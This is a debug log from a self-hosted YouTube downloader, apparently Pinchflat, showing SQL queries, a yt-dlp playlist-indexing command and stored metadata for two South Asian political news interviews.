m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:08:40.703 [debug] QUERY OK source="settings" db=0.3ms idle=24.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:40.804 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 18:08:40.805 [debug] Current batch of media processed. Will check again in 1000ms 18:08:40.806 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=110.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:40.808 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=108.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:40.810 [debug] QUERY OK source="settings" db=1.0ms queue=0.6ms idle=109.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:40.812 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e6/17/e617cce966089c29880d564484d0dc15ef45a2f2a0b170440fb846718c8e31f2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:08:41.806 [debug] Current batch of media processed. Will check again in 1000ms 18:08:42.808 [debug] Current batch of media processed. Will check again in 1000ms 18:08:43.809 [debug] Current batch of media processed. Will check again in 1000ms 18:08:44.810 [debug] Current batch of media processed. Will check again in 1000ms 18:08:45.811 [debug] Current batch of media processed. Will check again in 1000ms 18:08:46.812 [debug] Current batch of media processed. Will check again in 1000ms 18:08:47.819 [debug] Current batch of media processed. Will check again in 1000ms 18:08:48.820 [debug] Current batch of media processed. Will check again in 1000ms 18:08:49.821 [debug] Current batch of media processed. Will check again in 1000ms 18:08:50.826 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 18:08:51.063 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=1381.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:08:51.141 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=793.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:08:51.266 [debug] QUERY OK source="media_items" db=97.2ms queue=0.3ms idle=818.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 18:08:51.560 [debug] QUERY OK source="media_items" db=232.9ms queue=0.1ms idle=963.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "8a85ace7-b8c7-49af-a8f2-399041aba1f9", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 18:08:51Z], ~U[2026-01-10 18:08:51Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 18:08:51.567 [debug] QUERY OK source="sources" db=1.5ms queue=0.3ms idle=883.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:08:51.593 [debug] QUERY OK source="media_profiles" db=3.3ms queue=0.3ms idle=526.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:08:51.646 [debug] QUERY OK source="media_items" db=46.3ms queue=0.1ms idle=459.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 18:08:51.665 [debug] Current batch of media processed. Will check again in 1000ms 18:08:52.667 [debug] Current batch of media processed. Will check again in 1000ms 18:08:53.669 [debug] Current batch of media processed. Will check again in 1000ms 18:08:54.497 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e6/17/e617cce966089c29880d564484d0dc15ef45a2f2a0b170440fb846718c8e31f2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:08:54.560 [debug] Gracefully stopping file follower 18:08:54.561 [debug] QUERY OK source="sources" db=0.8ms idle=1214.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:08:54.619 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=1269.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:08:54.623 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1275.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 18:08:54.878 [debug] QUERY OK source="media_items" db=252.9ms queue=0.1ms idle=1277.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "f1a36fd8-0bf5-4403-8655-1c40aae9df18", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 18:08:54Z], ~U[2026-01-10 18:08:54Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 18:08:54.884 [debug] QUERY OK source="sources" db=4.0ms queue=0.1ms idle=318.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:08:54.916 [debug] QUERY OK source="media_items" db=31.0ms queue=0.1ms idle=266.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 18:08:55.119 [debug] QUERY OK source="media_items" db=201.1ms idle=293.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "c3a3a85a-485f-402d-964b-fffcd5fae964", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 18:08:54Z], ~U[2026-01-10 18:08:54Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 18:08:55.234 [debug] QUERY OK source="sources" db=1.7ms queue=0.2ms idle=449.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 18:08:55Z], ~U[2026-01-10 18:08:55Z], 1] 18:08:55.257 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=379.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:08:55.266 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=381.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:08:55.268 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=351.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:08:55.429 [debug] QUERY OK source="tasks" db=4.4ms idle=168.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [91, 1, ~U[2026-01-10 18:08:55Z], ~U[2026-01-10 18:08:55Z]] 18:08:55.437 [info] {"args":{"id":1},"id":90,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":14756653,"event":"job:stop","queue_time":732695,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:08:59.123 [info] {"source":"oban","duration":2925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.554 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:09:13.866 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:09:13.866 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:09:13.870 [debug] QUERY OK source="sources" db=3.2ms idle=1451.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) 